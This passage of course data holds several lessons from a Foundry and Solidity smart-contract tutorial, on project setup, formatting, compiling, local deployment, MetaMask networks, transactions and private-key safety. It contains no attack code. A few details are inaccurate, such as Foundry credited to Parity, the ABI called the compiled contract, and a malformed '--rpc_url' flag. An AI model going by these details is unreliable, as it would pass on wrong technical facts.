video.*\n\n***\n\n## Creating a Simple Storage Project\n\nToday, we'll dive into setting up a simple storage project, but with a twist, we'll be doing this in a professional environment, following the industry's big protocols as exemplified by billion-dollar players like uniswap, Aave, and curve.\n\nA key factor that makes this worth your while is that we'll be using Foundry - a popular tool among auditors - making this a goldmine for budding security researchers. So brace up as we journey into the masterclass prepared with the same toolbox that industry champions rely upon!\n\n## Getting Started: Setting up The Project\n\nIn setting up your environment, you would need to create a new folder. Simply follow these commands:\n\n```bash\n mkdir foundry-simple-storage-f23\n cd foundry-simple-storage-f23\n```\n\nYou might observe some differences in our terminal windows, reflecting our unique paths. For this tutorial, an alias, `video_shell`, which only displays the folder path, will be used.\n\n\n\n)Still within the folder, typing in `code` followed by a period  (`.`) should lead to a new Visual Studio code. If this doesn't happen, simply navigate to `File` >> `Open Folder` and select your preferred folder, the selected folder will open in a new Visual Studio code.\n\nNow, your terminal should show that we are indeed in our project folder:\n\n\n\n## Terminal Tips and Tricks\n\nEveryone's terminal will look slightly different. For this post, we'll be using several Bash (Linux Terminal) commands like `mkdir` and `cd`. If you're unfamiliar with these, I highly recommend checking out [this freeCodeCamp lesson](https://www.youtube.com/watch?v=oxuRxtrO2Ag).\n\nAlternatively, you could harness the power of Artificial Intelligence (AI). AI chatbots like GPT and others are familiar with Bash and Linux commands. They can provide assistance when you encounter challenges.\n\n\n\n## Setting Up Local Environments\n\nMoving to the next phase, we'll set up our local environments. This is similar to working with Remix VM. Consistent with the project's title, we'll use `Foundry` to code our simple storage project. This will make our code interactions and deployments more professional.\n\nWe begin by checking the content of our Explorer side bar. You can create a file here by using the `touch` command. This will make the file appear on the left hand side of the explorer. Next, we delete unneeded files with the `rm` command.\n\n## Using Foundry for Project Initialization\n\nWe will start the project by using Foundry to create a new basic project. Foundry's documentation offers a step-by-step guide on creating a new project. However, in our case, we run `forge init`. This should create several folders.\n\nIn case an error pops up because the directory is not empty, we run `forge init --force.` to override this.\n\n```bash\nforge init --force.\n```\n\nThis will override any error related to Git. Be sure to configure your username and email if you encounter errors related to Git configuration.\n\n```bash\n git config --global user.email \"your_email\"\n git config --global user.name \"your_username\"\n forge init\n```\n\n## Walk-through of Initialized Folders\n\nOur folders are now full and we have an initial project ready! The folders include:\n\n1. `.gitHub` workflows file\n2. `lib`\n3. `.script` - contains a file we delete for now\n4. `src` - where we put our smart contracts\n5. `test` - not needed for now\n6. `.gitignore` - files not meant for GitHub\n7. `foundry.toml` - gives configuration parameters for Foundry\n\nThe Source (src) is the main directory that we'll focus on. It's where we'll store the main contracts, whereas Test will hold the files to test the main contracts, and Script will host files to interact with our SRC contracts.\n\nLastly, we'll add a simple storage code into the SRC or Source folder. We can copy all the code from this [Github repository](https://github.com/Cyfrin/foundry-simple-storage-f23/blob/main/src/SimpleStorage.sol), select the code base, then paste it into `src` as `SimpleStorage.sol` file. Hit save, and we're done!\n\nCongratulations, you're now ready to build bigger and better with Foundry! Stay tuned for more exciting tutorials.\n", + "updates": [] + }, + { + "lessonId": "ae54a24e-9fce-457f-af4d-b68b7fb6716b", + "number": 8, + "slug": "vscode-solidity-setup", + "title": "VSCode Solidity setup", + "description": "Tutorial on formatting Solidity code in Visual Studio Code using various extensions and settings, and tips for automatic code formatting and TOML file formatting.", + "duration": 5, + "videoUrl": "FRXi9zWpWzk1Ig4KLqdU24WUqifk02iqm7CMAPS6rGP8", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/8-formatting-solidity/+page.md", + "markdownContent": "***\n\n## title: Formatting Solidity in VS Code\n\n*Follow along the course with this video.*\n\n***\n\n# **Improving Code Format in Visual Studio Code**\n\nIn this blog post, we're going to explore how to greatly improve the readability and maintainability of your smart contracts by cleaning up your Solidity code format within Microsoft's Visual Studio Code (VSCode). Let's get started!\n\n\n\n## **Solidity Code Formatting**\n\nWhen you first start, your code might just look like a whole bunch of dull, lifeless, white text. While some cool trinkets are embedded in the code such as the oftentimes cute little ETH logo, deciphering your code becomes a real chore without proper formatting.\n\nLucky for us, there are many wonderful extensions available on VSCode that can format our Solidity code. Simply input \"Solidity\" in the Extensions bar to reveal a treasure trove of options. Out of these, a few worth mentioning:\n\n1. The general \"Solidity\" extension\n2. [Hardhat Solidity](https://marketplace.visualstudio.com/items?itemName=NomicFoundation.hardhat-solidity), a personal favorite, despite being another framework, works wonders in Foundry\n3. Solidity visual developer, another popular choice\n4. And Juan Blanco's [extension](https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity), which is probably the most used Solidity extension worldwide\n\nFor this blog, we'll demo the [nomic foundation Solidity Vs code extension](https://marketplace.visualstudio.com/items?itemName=NomicFoundation.hardhat-solidity). Once this extension is installed, your Solidity files should now appear with syntax highlighting, making it vast easier to read and understand.\n\n### **Activating the Extension**\n\nIf the code remains unhighlighted despite having installed the extension, there's a quick solution to that. Press `Command Shift P`, or `Control Shift P` on Windows. This opens up the command bar.\n\nIn the command bar, type in \"Settings\" and select \"Preferences: Open User Settings\". This will open your user settings in JSON format. If you have nothing in there, create a new setting with these brackets `{'{'}...{'}'}` and type in:\n\n```json\n{\n \"editor.defaultFormatter\": \"NomicFoundation.hardhat\"\n}\n```\n\n..and you're all set! This way every time you open your Solidity code, VSCode will automatically use Hardhat extension for formatting.\n\n## **Formatting TOML Files With Better TOML**\n\nThe good news doesn’t end with Solidity files alone. Even your Foundry TOML files can be formatted for better readability. Again, head over to Extensions and type in TOML.\n\nInstall [Even Better TOML](https://marketplace.visualstudio.com/items?itemName=tamasfe.even-better-toml). This cool extension appropriately highlights your Foundry TOML files, making it much easier to locate and edit keys.\n\n**Pro Tip:** Any time a little dot appears next to the file name on your tab, it means the changes aren’t saved. Make it a habit to frequently save your work with Command S or File -> Save.\n\n## **Automatic Code Formatting**\n\nA great feature of text editors is the ability to format your code automatically. Let's say you have a block of code that's entirely out of whack. You can set your VSCode to automatically format the block once you save it. Here’s how.\n\nRepeating the Command Shift P step brings up the command palette. If you type in 'format document', it will instantly apply the default formatter to the open file. If the auto formatter does nothing, first ensure you've set Hardhat as your default formatter in your settings file.\n\nFor those who prefer automatic formatting, navigate to User Settings and check 'Editor: Format On Save'. This way, every time you save your Solidity code, it automatically gets formatted.\n\nFor cases where you might not want your document formatted, all you have to do is open the command palette (Command Shift p/View -> Command Palette) and type 'save without formatting'. This will save the file without applying any formatting rules. However, remember to turn back on formatting when done.\n\n\n\nIn conclusion, formatting is something we pretty much never want to skip. Even though it might seem inconsequential, a well-formatted code can save a lot of debugging time and make your code way more maintainable and understandable. So start using these principles today and write smarter contracts! Happy hacking!\n", + "updates": [] + }, + { + "lessonId": "e1a7e1f7-508a-440c-b39b-7bcbf0c54e07", + "number": 9, + "slug": "compiling-a-smart-contract-foundry", + "title": "Compile a smart contract using Foundry", + "description": "Guide to compiling Solidity smart contracts using Foundry, including steps for using the Foundry console, understanding the 'out' file, and terminal command recall.", + "duration": 2, + "videoUrl": "4toTGcbc00021Fd0000JoL01y7012tCkABzzXwvRSLDGsv00gI", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/9-compiling-in-foundry/+page.md", + "markdownContent": "***\n\n## title: Compiling in Foundry\n\n*Follow along the course with this video.*\n\n***\n\n# Compiling Smart Contracts: A Guide to the Foundry Console Compilation Process\n\nIn this detailed guide, we'll walk you through the intricate process of compiling Solidity smart contracts using the Foundry console, courtesy of Parity. By the end of this blog post, you'll successfully compile a `SimpleStorage.sol` contract within your terminal.\n\n## Getting Started: The Foundry Console\n\nLet's kick things off starting with the installation of the Foundry console. Foundry is an incredibly essential tool that we'll be using to collate our background, so ensure it has been installed correctly on your system to avoid any hitches.\n\nHere's a gentle reminder, just with your existing code and Foundry installed, you're already set to begin the intriguing journey into compiling your `SimpleStorage.sol` smart contract right in your terminal!\n\n## How to Compile Your Code\n\nAfter correctly setting up Foundry, pull up your terminal. In the terminal, key in either `forge build` or `forge compile`. Running either command will immediately trigger the compilation of your code, like so:\n\n```bash\n$ forge build\n```\n\nOr\n\n```bash\n$ forge compile\n```\n\n\n\nLook out for a notable change - the appearance of several new folders. One of them is a file named `out`.\n\n## Understanding the `out` File\n\nQuite noticeable when you compile is the `out` file. To put it simply, the `out` file holds a trove of crucial information similar to what the Remix compiler offers.\n\nIt is within this `out` file that you have access to the `Abi`. For those who haven't encountered it, you're probably wondering what `Abi` is. In the context of this guide, `Abi` refers to the compiled version of your contract. To locate it, navigate your way back to Remix, select the compiler tab, locate one of your written contracts and scroll down.\n\n\n\nIn the Abi section, you'll notice a small dropdown icon placed directly beside it. A simple click on this dropdown button will minimize the Abi, prominently displaying all other details such as bytecode method Identifiers and other sub-sections that we'll delve into later in this guide.\n\n## The `cache` Folder Defined\n\nAnother file that appears upon compilation is the `cache` folder. Generally, this folder is used to basically store temporary system files facilitating the compilation process. But for this guide, you can virtually ignore it.\n\n## Recalling Previously-Run Commands\n\nHere's a productivity-boosting feature in your terminal: the ability to recall and rerun use previously executed commands. The action is simple - just press the up arrow key. This feature proves handy when you need to rerun lengthy commands which previously executed correctly, saving you both time and energy.\n\nFor instance, suppose you've run a long command like `echo`, which is a classic Unix command, and decide to rerun it. All you need to do is press the up arrow key:\n\n```bash\n$ echo \"This is some crazy long command\"\n```\n\n\n\nBy following these steps, you should now have a head start in compiling your Solidity smart contracts. Congratulations on adding a new skill to your programming arsenal! Enjoy your development journey!\n", + "updates": [] + }, + { + "lessonId": "46f0d83a-62be-4095-a9e5-d91c37ef111e", + "number": 10, + "slug": "deploy-smart-contract-locally", + "title": "Deploy a smart contract locally using Ganache", + "description": "Guide on deploying smart contracts locally using Ganache and Foundry's Anvil, including setting up Ganache, using MetaMask for custom networks, and integrating Anvil.", + "duration": 8, + "videoUrl": "KK01L2GrhBEFoi7pK3AIWpd00Wvh0100N1z2Yaq4XIvyjbo", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/10-deploying-locally/+page.md", + "markdownContent": "***\n\n## title: Deploying to a Local Blockchain\n\n*Follow along the course with this video.*\n\n***\n\n## Deploying Code to a Virtual Environment with Foundry and Anvil\n\nIn this lesson, we'll explore how you can deploy your code to a Foundry VM or a JavaScript virtual environment using Foundry, Anvil, and the Ganache Ethereum chain.\n\n## Foundry and Anvil: Built-In Virtual Environment\n\nFoundry comes built-in with a virtual environment in its shell, similar to **Remix**, the integrated development environment (IDE) best known for smart contract development and deployment. Inside the virtual environment of foundry, we use **Anvil** to create a fake available accounts, fully equipped with **fake private keys**, a wallet mnemonic, blockchain details, and an RPC URL, which we'll discuss later.\n\nHere's how to launch the Anvil blockchain:\n\n```bash\nanvil\n```\n\nTo end the session, you can press Ctrl+C or close your terminal.\n\n## Deploying with Ganache\n\nGanache is a one-click blockchain. It offers a user interface that gives developers easier access to their transactions.\n\n\n\nAfter installing Ganache, you can create a new locally running blockchain by hitting 'Quickstart for Ethereum'. This will generate a list of addresses with individual balances, and dummy private keys.\n\nHere's a glimpse of how Ganache looks:\n\n\n\nThe Ganache blockchain is temporary; if it's causing any issues, you can always switch back to Anvil.\n\n\n\n## Deploying to Custom Networks with MetaMask\n\nTo deploy to a custom network (like your localhost), you'll need MetaMask. MetaMask is a browser extension that allows you to run Ethereum dApps (decentralized apps) right in your browser.\n\nFollow these steps:\n\n1. Open MetaMask.\n2. Click the three little dots, select 'Expand View'.\n3. Go to 'Settings', then 'Networks'.\n4. Here, you'll see the list of networks (Ethereum, Mainnet, etc.) with plenty of details about each one. Locate the RPC URL - this is key.\n\nThe RPC URL is essentially the endpoint we make API calls to when sending transactions. For every blockchain transaction you execute, you're making an API to whatever is in here.\n\nTo send a transaction to your custom blockchain, you need to add it as a network:\n\n1. Scroll to the bottom of the list of networks.\n2. Hit 'Add Network'.\n3. Enter the details of your local network - the name, RPC URL (you can get this from Ganache or Anvil), chain ID, etc.\n\n\n\n1. Save your new network.\n\nOnce your network is added, you should be able to switch to it from the dropdown menu. From here, you can import an account by pasting its private key and hitting 'Import'.\n\nAnd voila! You now know how to deploy code to a virtual environment with Foundry, Anvil, Ganache and MetaMask. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "d147ac70-b450-43ae-b1a2-4a0a2a7b5508", + "number": 11, + "slug": "how-to-add-a-new-network-to-metamask", + "title": "How to add a new network to Metamask", + "description": "Tutorial on adding new Ganache local chains and EVM compatible chains to MetaMask, including managing private keys and understanding RPC URLs.", + "duration": 2, + "videoUrl": "CPbaTe15LSeu24qGbj1JjYu7AY004y3k6NYdr50276uUk", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/11-adding-network-metamask/+page.md", + "markdownContent": "***\n\n## title: Adding another Network to MetaMask\n\n*Follow along the course with this video.*\n\n***\n\n## Adding New Ganache Local Chains and Other EVM Compatible Chains\n\nIn this blog post, we delve deep into the world of EVM (Ethereum Virtual Machine) chains. We explore how to add new Ganache local chains and the process of incorporating any EVM compatible chain in the network. Plus, we sprinkle in an introduction on running your own Ethereum nodes. Ready to dive in?\n\n\n\n## Adding New Networks Using MetaMask\n\nConveniently, MetaMask, a browser extension serving as an Ethereum wallet, provides an easy way to add EVM compatible chains. By pre-configuring a host of them, you can add a chain such as the Arbitram One by simply clicking on **Add Network** and proceeding to **Add**. The pleasing part is that MetaMask does all the grunt work, filling in all the necessary information for you. A click on **Approve Network** ensures successful addition of the network.\n\n```js\n 1. Click on Add Network\n 2. Choose your desired EVM compatible chain\n 3. Click on Add\n 4. After ensuring all necessary information is already filled in, click on Approve Network\n```\n\nHowever, what if MetaMask isn't pre-equipped with a chain you wish to add? Well, no need to worry. You would employ the same process we just used to add our new Ganache local chain. This process universally applies to the addition of any EVM compatible chain.\n\n## Understanding Your Connection to a Node: The Role of Endpoint\n\nHeading back to your network settings and selecting the localhost network unveils another crucial aspect- the endpoint. When you set out to send a transaction to a blockchain, you must have a connection to a node. This node connection is vital as it equips you with the ability to send transactions.\n\nLet's say you coveted the thrill of sending transactions to your own node. The process would entail running an execution client like Geth, followed by a consensus client such as Teku or Prism, and finally send your transactions.\n\n\n\nCertainly, running your own Ethereum nodes may seem daunting. However, for a blockchain enthusiast, it can be a fun adventure worth exploring. As a pro tip, run multiple Ethereum nodes for an even better experience.\n\n## Interacting with Ethereum Blockchain Nodes: Different Methods\n\n\n\nVenturing further into the realm of Ethereum, we find that different methods exist for dispatching transactions. Ethereum JSON RPC specification site provides a rundown of these various methods. You just need to be acquainted with APIs and Http endpoints and you’re good to go.\n\nWhen signing and dispatching transactions, it's these method calls that come into play: ETH sign transaction, send transaction, send raw transaction, etc.\n\nHowever, let's make an important clarification. The Forge comes with a built-in facility that manages sending these transactions. So, we don't necessarily have to go the extra mile of direct interaction with these calls.\n\n## Sending Raw Transactions: Different Programming Languages\n\nMoving forward, to learn how to send raw transactions, you would need to make raw API calls to your Ethereum node. This can either be an Ethereum node you provided or an Ethereum node as a service, such as Infura or Alchemy. This interaction would employ different programming languages such as Bash, Python, or JavaScript.\n\nFurther exploration into the complex yet captivating world of Ethereum awaits. Running your own Ethereum nodes and understanding the intricacies of sending transactions brings a whole new level to your blockchain explorations. We hope this guide kindles your curiosity to delve further and cherish the fun of running nodes!\n\nStay tuned for more such excitement in our next lesson!\n", + "updates": [] + }, + { + "lessonId": "20ac66c6-015c-4c7a-a2b6-1d98cf01b686", + "number": 12, + "slug": "deploying-locally-forge-foundry", + "title": "Deploy a smart contract locally using Forge", + "description": "Comprehensive guide on deploying smart contracts locally using Forge in Foundry, detailing command line usage, potential issues, and deployment steps.", + "duration": 5, + "videoUrl": "YucGp4chSf01HM2Z02cbPiyoydAJNh3B02uqV9jvWDWi0200", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/12-deploying-locally-ii/+page.md", + "markdownContent": "***\n\n## title: Deploying to a Local Blockchain II\n\n*Follow along with this video.*\n\n***\n\n## Deploying a Smart Contract on your Local Blockchain\n\nAre you tired of running into issues deploying your smart contract on your local blockchain? Whether you're using Ganache or Anvil for your blockchain development, we've got you covered. In this comprehensive guide, we're going to walk you through how to deploy contracts in two different ways, using the command line and the integrated Forge framework.\n\n\n\n## The fundamentals: Your endpoint and private key\n\nSince you already have your endpoint and private key, you now have everything you need to deploy to your own local blockchain. However, just like working with a real blockchain, you need some balance to spend gas to deploy your contract.\n\n## Getting started with the Command Line\n\nTo kick things off, let's dive into the command line approach. This involves familiarizing with the Forge framework.\n\n```bash\nforge help\n```\n\nRunning the command above provides a list of commands built into the Forge. For our cause, we are interested in the 'Create' command. Its function is to deploy a smart contract- exactly what we are looking to do.\n\n```bash\nforge create --help\n```\n\nRunning the command above shows the numerous options available for deploying our contract. Be sure to have your private key ready, which you can copy from Anvil.\n\n**NOTE:** Please refrain from using actual private keys in Vs code or any platform that could potentially share your information unintentionally. Although we're using a fake private key for this exercise, the best practice is to use your terminal.\n\n## Unraveling Potential Issues\n\nWhile trying to deploy our contract - 'Simple Storage' in this case - there is a possibility of running into an error when using the command:\n\n```bash\nforge create SimpleStorage\n```\n\nThe error is due to the fact that the RPC server we are using doesn't coincide with the default Forge RPC server. To fix this, you need to assign the RPC URL manually and ensure it is in lowercase.\n\nIf you forget to input the private key, the command line will remind you with another error! No worries though, just use the 'Up' key and include the 'interactive' option as seen in the command below. Then, follow the prompt to enter your private key.\n\n```bash\nforge create SimpleStorage --rpc_url http://127.0.0.1:7545 --interactive\n```\n\n*Note:* the URL is the one from ganache.\n\n\n\nYou should now see your transaction details if you're using Ganache. The transaction and blocks you created beforehand should be visible.\n\n*Blockquote: \"Despite Anvil not showing any transaction details, it serves as a more efficient platform for this procedure. Hence, we will be using it for the rest of this guide.\"*\n\n## Conclusion\n\nThat's it! You've now deployed a smart contract to your local blockchain. Take note that this process may require some tweaking depending on your specific environment or contract. Overall, by following these steps, you will have a robust foundation for deploying more complex smart contracts in your future blockchain projects.\n", + "updates": [] + }, + { + "lessonId": "4ca84002-b8be-41ed-9a09-12f9e0e0ebcf", + "number": 13, + "slug": "private-key-safety", + "title": "Important: private key safety pt.1", + "description": "In-depth guide on private key safety for blockchain developers, covering best practices, shell history clearing, and secure methods for handling private keys.", + "duration": 3, + "videoUrl": "cUPbUCpN6R3V100f8te4qvXehCJXRquh3uiYcDVvIllg", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/13-private-key-safety/+page.md", + "markdownContent": "***\n\n## title: Private Key Safety\n\n*Follow along the course with this video.*\n\n***\n\n# Practicing Private Key Safety: A Comprehensive Guide\n\nThe following lesson will take you through the intricacies and dangers of mishandling your Private Key, while also highlighting the key steps you should take to maintain its safety.\n\n## The Importance of Private Key Safety\n\nNow, here's an incredibly important piece of information and one worth your attention:\n\n\n\nThis goes especially for your production or private keys associated with actual money. This is a serious security risk and a transgression we cannot afford to make. Even though the example presented here involves a dummy private key, this is a practice we should generally steer clear from.\n\n\n\nOne common oversight lies not in how we treat our private keys, but rather in where we tend to leave them – our shell or Bash history. Here's an example to illustrate the point: once you execute commands in your terminal, a simple upward stroke on your arrow keys will display the previously carried out commands – including your private keys. It is easy to see why this fact poses a risk to private key safety.\n\n## Clearing Your Shell History\n\nTo remove your private key from your history in Bash, execute the following command:\n\n```bash\nhistory -c\n```\n\nThis effectively clears your command history. Try hitting the 'up' arrow on your keyboard - you will not return any previously entered commands. To further test this, you can use the `history` keyword:\n\n```bash\nhistory\n```\n\nThis command will return your entire command history. You can also use the `clear` command to clear your screen and then call `history` again to verify you've purged your command history as desired.\n\n## Your Safety Promise\n\nIt's time now to articulate your promise for maintaining private key safety. Create a file titled 'Promise.md'. In this file, make it a point to write down your promise:\n\n```\nI promise to never use my private key associated with real money in plain text.\n```\n\nIf you feel comfortable doing so, consider tweeting this to affirm and secure your pledge. Tagging me or other experts in the field to hold yourself accountable can be immensely helpful. Remember, this is merely a first step in your commitments towards private key safety - many more promises are to come.\n\nAs we're working with dummy keys for now, this may not seem like a big deal. But I assure you that the safety of your private keys in the future is of utmost importance. I’ve seen multiple multimillion-dollar companies overlook this protocol and, as a result, have their private keys breached.\n\n## Deploying Your Contracts\n\nTo deploy your contracts to any blockchain from a command line, you would generally use the `forge` command as shown below:\n\n```bash\nforge create < name-of-your-contract > add < RPC-URL > < your-private-key >\n```\n\nIn upcoming sections, we will learn how to access RPC URLs for free using Alchemy for any blockchain. We will also delve into exploring safer methodologies for dealing with private keys.\n\nWith this you now have a preliminary understanding of how to deploy your contracts to any blockchain from the command line. This knowledge equips you with the base tools to operate in a more secure digital environment, prioritizing private key safety, cleanliness of your bash history and the right way to deploy contracts to the blockchain.\n\nKeep following along for more tips, tricks, and best practices in maintaining your cyber safety.\n", + "updates": [] + }, + { + "lessonId": "5067bfa3-74e2-4129-9135-227e19a335ee", + "number": 14, + "slug": "deploying-locally-anvil", + "title": "Deploy a smart contract locally using Anvil", + "description": "Tutorial on deploying smart contracts locally using Anvil, focusing on script creation, Solidity contract language, and Foundry cheat codes for deployment.", + "duration": 10, + "videoUrl": "VHqe5lxdzQ1SJampOzAC00qKYGi6Jd9UwLY7NT3jMg28", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/14-deploying-locally-iii/+page.md", + "markdownContent": "***\n\n## title: Deploying to a Local Blockchain III\n\n*Follow along with this video.*\n\n***\n\n## Deploying Contracts on Any Blockchain with Solidity\n\nAfter familiarizing ourselves on how to deploy a contract to any blockchain using the command line, it's time to engage in another method of deploying our contracts. This method is particularly handy because it provides a consistent and repeatable way to deploy smart contracts reliably and its features enhance the testing of both the deployment processes and the code itself.\n\nContrary to the popular command-line approach, we create a script for our code deployment. This method enriches our learning process and makes the entire session enjoyable.\n\n## The Solidity Contract Language\n\nFoundry eases the whole process since it is written in Solidity. This means our deployment scripts will also be in Solidity. It is essential to distinguish Solidity as a contract language from Solidity as a scripting language. Foundry also incorporates elements that enhance our Solidity experience beyond the smart contracts realm. So, let's get started on creating a script to deploy our simple storage contract.\n\n### Creating the Deployment Script\n\nTo create the script, follow these easy steps:\n\n1. Go to our script folder.\n2. Right-click on a new file.\n3. Create the file deploy `DeploySimpleStorage.s.sol`.\n\nThe letter `S` in `s.sol` is a Foundry custom. Usually, scripts bear an `s.sol` extension instead of sol.\n\nInside it, we are going to write our contract in Solidity to deploy our smart contract.\n\nAnd by the way, this script is written in Solidity but should not be considered as a contract for deployment. It is solely for deploying our code. Since it is written in Solidity, we start with the MIT SPDX License Identifier as usual.\n\nCheck out the Foundry documentation for a comprehensive understanding of Solidity scripting in the tutorials section.\n\nTo notify Foundry that our contract `DeploySimpleStorage.s.sol` is a script, we need to import additional code.\n\nHere is the code sample:\n\n```js\n //SPDX-License-Identifier: MIT\n pragma solidity ^0.8.18;\n contract deploySimpleStorage{}\n```\n\nFounder also has a lib folder which entails the Forge STD. Forge STD stands for Forge Standard Library. The library bears numerous beneficial tools and scripts for working with Foundry.\n\nLet's now make our contract `DeploySimpleStorage.s.sol` inherit from the functionality of this script by importing `forge-std/Script.sol` and stating is script. Foundry will then understand that this contract is a script.\n\nFor clarification, our Deploy Simple Storage requires knowledge of our simple storage contract. Therefore, we'll import that too. We must also bear in mind that there is a superior method to run imports, known as named imports.\n\nNow here is where it gets exciting. Every Deploy or script contract should have a primary function known as Run. This function executes when we need to deploy our contract.\n\nHere is the code snippet:\n\n```js\n function run() external returns (SimpleStorage) {\n vm.startBroadcast();\n\n SimpleStorage simpleStorage = new SimpleStorage();\n\n vm.stopBroadcast();\n return simpleStorage;\n }\n```\n\n### Using Cheat Codes in Foundry\n\nIn the Run function, we are going to use a distinctive keyword: vm. Foundry has a distinctive feature known as cheat codes. The vm keyword is a cheat code in Foundry, and thereby only works in Foundry. You won't have much success trying it out in Remix or any other framework. Though, if we're inheriting Forge STD code, the vm keyword comes in handy.\n\nYou can learn more about Foundry cheat codes in the Foundry documentation and Forge Standard Library references section.\n\nAre you confused about the vm keyword? No worries! The vm keyword is just a tool for controlling the interactions with Forge's local Ethereum testnet. We're using it here to specify that all the activities within the `startBroadcast` and `stopBroadcast` functions should take place on-chain.\n\nWe deploy our simple storage contract via the `new` keyword. Simple Storage, denotes the contract, and simple storage the variable, are quite different.\n\nThe new keyword in Solidity creates a new contract. It is also going to come up with a new contract amid the vm Star broadcasts. Should you find this a bit confusing, don't worry. We shall delve into the details later in the course. For now, remaining focused is the key. And finally, we can say return Simple Storage.\n\n## Testing the Deployment\n\nNow to the exciting part. It's time to test our script by running it. If Forge is already running, we can kill it using the control C command. Now, let's ru:\n\n```bash\nforge script script/DeploySimpleStorage.s.sol\n```\n\nEnsure you adhere to the Solidity standards for smooth running.\n\nIf an error message pops up about Solidity versions, just change both versions in the code to use the caret (^) symbol in order to allow use of the highest non-breaking version.\n\nOnce everything is set, it's time for the real thing. First, compile the scripts to be deployed and the simple storage contract using version 0.8.19.\n\n## Running Anvil\n\nIf we try to run the Forge script without Anvil, Foundry will automatically deploy the contract or run the script on a temporary Anvil chain.\n\nBut the beauty of Anvil comes in when we wish to simulate on-chain transactions. You can do this by passing an RPC URL when running the script. Once this is done, Anvil keeps records of previous deployments in case you need to refer to them.\n\nA final test is done by deploying the script to the blockchain. You use the `broadcast` command to send this out and also provide a private key to sign the transaction with.\n\nIf all goes successfully, you'll be greeted with the message \"on chain execution complete and successful\".\n\nHope this tutorial was insightful. Let's explore more in our next learning chapter!\n", + "updates": [] + }, + { + "lessonId": "48917e07-fc94-487f-a44b-d6ad433b7094", + "number": 15, + "slug": "what-is-a-transaction", + "title": "What is a transaction", + "description": "Exploration of blockchain transactions, including a detailed overview of transaction components, contract deployment, and data fields in Ethereum.", + "duration": 6, + "videoUrl": "PkwnirXHVm7QutB2IF5zQU302aDhGHnhxnknqSEKDa5c", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/15-what-is-a-transaction/+page.md", + "markdownContent": "***\n\n## title: What is a Transaction? But Actually\n\n*Follow along the course with this video.*\n\n***\n\n## Deep Dive into Blockchain Transactions\n\nLet's take a moment to really get to grips with what we're doing when we script and execute blockchain transactions. Many people find this element of blockchain to be a bit of a mystery, so let's pull the curtain back and lay out the steps and elements involved.\n\n## Exploring the Terminal\n\nIn your terminal, you'll see a few different directories. One of which is `dry run` - this is where files end up when there's no active blockchain. When a blockchain is running, the directories are divided by chain ID. Within these directories, such as `dry run` or `run latest`, you'll find detailed information about each transaction that has been executed. This includes information such as the transaction's hash, type, contract, name, address, and more.\n\nIn this section, we can see exactly what's being sent on the chain whenever we use our scripting commands - `forge script` or `forge create`.\n\nThis is the transaction we send to the RPC URL and it contains the relevant API data packaged for https POSTS. In this case, our transaction type is `2`. The `from` address refers to where the transaction is initiated from, and the `gas` is the hex value representing the computational effort the transaction requires.\n\n\n\nIncluded in the transaction is a `value` field. When you're deploying a contract, this is just another transaction; we can therefore add a value to it if we want. This value can be in the form of the Ethereum blockchain's native currency - Ether. To do this, you just add a `value` field followed by the amount you wish to transact. Note though, in solidity, the `value` option can't be set if the constructor isn't payable.\n\n## Contract Deployment and the Data Field\n\nLet's now focus on the data part of this transaction. In reality, this is the contract deployment code. But there's a bit more to it than that! It also contains the `nonce` value - a unique identifier that's used once for each transaction, and an access list (but we're not going to cover that in this post).\n\nIn addition to the details stored in the transaction, a couple of other values play a part that aren't stored here. These are the `r` and `s` values which are used to generate a signature that makes the transaction valid. When a transaction is sent, it is signed using your private key. This signature then forms part of the transaction data.\n\n\n\nIn terms of the `nonce` or nonce value mentioned earlier, this is managed by your chosen blockchain wallet. Every time a transaction is sent, it is given a nonce that increments after each transaction is sent. Finally, and critically, remember that any time you change the state of the blockchain you do so through a transaction. Each transaction contains an all-important data field, which includes 'opcodes' that tell the blockchain what you'd like it to do. In some cases, this might mean the creation of a new contract. In others, the data is merely associated with a basic transaction.\n\n## Conclusion\n\nThe world of blockchain transactions can seem complicated. By understanding these underlying processes, however, we can get a much richer understanding of how it functions. The powerful part comes when we understand the way transactions work when executing them with tools like Remix. It all comes down to that pivotal data field of a transaction!\n", + "updates": [] + }, + { + "lessonId": "220b2276-4fbd-4acc-b754-6b5ca719684f", + "number": 16, + "slug": "private-key-safety-part-2", + "title": "Important: private key safety pt.2", + "description": "Guide on private key safety for interacting with deployed contracts, covering command line interfaces, environment file setup, and secure coding practices.", + "duration": 11, + "videoUrl": "97giwCWjbSoFAXeo1QS00MhpgyyNka67Iuw00CK66gt00s", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/16-private-key-safety-ii/+page.md", + "markdownContent": "***\n\n## title: Private Key Safety II\n\n*Follow along the course with this video.*\n\n***\n\n## Interacting with Contract Deployment: Command Line Interface vs. Scripts\n\nHello and welcome back! In this blog post, we'll cover how to interact with deployed contracts on the blockchain. As we've learned previously, we have two methods at our disposal: running scripts and using the command line interface (CLI). In this article, we'll focus primarily on the latter.\n\nLet's get started!\n\n## Getting Started: Make Sure You're Deployed\n\nFirst, we need to confirm that our smart contract has been successfully deployed. From your terminal, bring up your deployment script by hitting the up arrow a few times, then run it again.\n\n## Interacting with Contracts via the Command Line\n\nBy now you may be familiar with Remix, a popular Ethereum IDE, and how it allows us to interact with our contracts by clicking buttons in its GUI. With the CLI, we interact with contracts in a similar manner but, in this case, by entering commands. However, using the CLI is just one of two ways we can interact with contracts.\n\n## Cleaning up the Command Line\n\nWe're going to make the contract interaction process a touch more efficient while also consolidating previously disparate actions. Often, we'd use Forge's command line interface (CLI) to interact with contracts, creating a new interactive CLI session each time and pasting our private key in when prompted. But we can streamline this.\n\nLet's clarify something here first:\n\n\n\n## Storing Private Keys Safely\n\nThe safer alternative is to first create a **.env** file to store what we call environment variables. These variables contain sensitive information, like your private key, which we don't want to expose publically. Adding private keys or other sensitive data to environment variables in your .env file avoids having to display them in your command line history or elsewhere accidentally.\n\nRemember though, only store test private keys in your .env file, never your actual private key.\n\nHere's a brief demonstration of 